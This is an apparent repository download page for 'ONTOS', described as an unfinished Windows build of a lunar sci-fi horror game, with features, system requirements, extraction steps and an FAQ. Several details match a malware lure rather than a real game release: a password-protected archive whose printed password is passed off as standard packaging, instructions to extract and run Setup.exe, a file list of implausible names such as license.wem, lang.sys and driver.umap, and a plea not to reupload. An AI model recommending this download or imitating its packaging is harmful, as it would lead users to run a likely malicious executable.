A raw descent into lunar experiments and impossible choices.
ONTOS is a science-fiction horror adventure set inside Samsara, a repurposed hotel on the Moon. Explore its interconnected spaces, investigate disturbing experiments, operate strange machinery, and make choices that shape how each situation unfolds. This Windows build is an unfinished, experimental prototype shared for testing and feedback while development continues.
For players who enjoy atmospheric science-fiction horror, immersive exploration, narrative puzzles, and unfinished experimental builds.
⚠️ This is an early, unfinished pre-release build. The game is under active development: expect bugs, unfinished content, and balance changes.🔒 The archive is password-protected (
2026) as a standard packaging step to keep the build bundled correctly during distribution. Use the password when extracting.
- 🧠 Psychological Mystery — Piece together a mind-bending mystery about reality, identity, and consequence.
- ⚙️ Tactile Machinery — Operate analog systems, tools, and unsettling experimental equipment.
- 🔬 Disturbing Experiments — Investigate strange scenarios built around scientific and moral dilemmas.
- 🌕 Lunar Hotel — Explore the repurposed Samsara hotel and uncover its hidden history.
- 🧩 Multiple Solutions — Approach experiments and conflicts through different possible methods.
- 🎭 Consequential Choices — Make difficult decisions that can change the direction of the experience.
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| Component | Minimum | Recommended |
|---|---|---|
| OS | Windows 10 (64-bit) | Windows 11 (64-bit) |
| Processor | Intel Core i5-8400 or AMD Ryzen 5 2600 | Intel Core i7-10700 or AMD Ryzen 7 3700X |
| RAM | 8 GB | 16 GB |
| Graphics | NVIDIA GeForce GTX 1060 6 GB or AMD Radeon RX 580 8 GB | NVIDIA GeForce RTX 2060 or AMD Radeon RX 6600 XT |
| Storage | 15 GB available space | 15 GB available space on an SSD |
| Additional | DirectX 11, Windows-compatible audio device | DirectX 12, Visual C++ Redistributable 2022 |
| Platform | Status |
|---|---|
| Windows | ✅ Supported |
| macOS | ❌ Not supported |
| Linux | ❌ Not supported |
You can download the build from this page. The archive contains everything you need to run the game.
- The archive is password-protected:
2026 - Use any archive extractor (WinRAR, 7-Zip, WinZip, etc.)
- Enter the password when prompted
- Extract all files from the archive to a folder of your choice.
- IMPORTANT: All files must be extracted to the same folder.
- Do not rename or move individual files — the build expects its folder structure intact.
- The folder structure should look like this:
Setup/
|-- Setup.exe <- Main executable
|-- patch_1.bnk <- Audio banks
|-- res.pak <- Resources archive
|-- assets.wem <- Asset audio
|-- license.wem <- Audio assets
|-- animations.dll <- Animation system
|-- installer.dat <- Installer data
|-- dlc.md5 <- DLC checksums
|-- lang.sys <- Language system
|-- Password 2026.txt <- Password reminder (empty)
|-- uninstall.key <- Uninstall key
|-- scripts.lic <- Game scripts
|-- localization.ini <- Language files
|-- driver.pak <- Driver archive
|-- settings.bin <- Configuration
|-- driver.umap <- Driver data
|-- physics.sys <- Physics engine
|-- global.cfg <- Global settings
|-- api.pak <- API modules
|-- launcher.dll <- Launcher library
|-- bootstrap.wem <- Bootstrap audio
|-- license.bank <- License data
|-- audio.res <- Audio resources
|-- update_1.ini <- Update config
|-- update_1.res <- Update resources
- Navigate to the folder where you extracted all files.
- Run
Setup.exe. - The game launcher will appear.
- Click "Play" in the launcher window.
- The game will start with the pre-release build.
- Enjoy the build — expect bugs, unfinished content, and balance changes.
Q: Does this build require an internet connection? A: No. The build runs fully offline. No account, launcher, or online check is required to launch it.
Q: Can I share this build with others? A: Yes, you can share the link to this repository. Please do not reupload the build to other platforms — keeping distribution in one place makes updates easier to track.
Q: What stage is this build at? A: This is an early development snapshot — a work-in-progress prototype. Large portions of the game may be unfinished, placeholder assets are common, and the final polish, balance, and optimization are not yet in place.
Q: What exactly is this? A: This is an early, unfinished development build of the game. It is a pre-alpha / work-in-progress prototype, not the final retail version. Expect missing features, placeholder assets, debug overlays, and rough edges.
Q: How often is the build updated? A: Updates are published whenever a new internal snapshot is ready. There is no fixed schedule — the download link in Step 1 always points to the latest available build.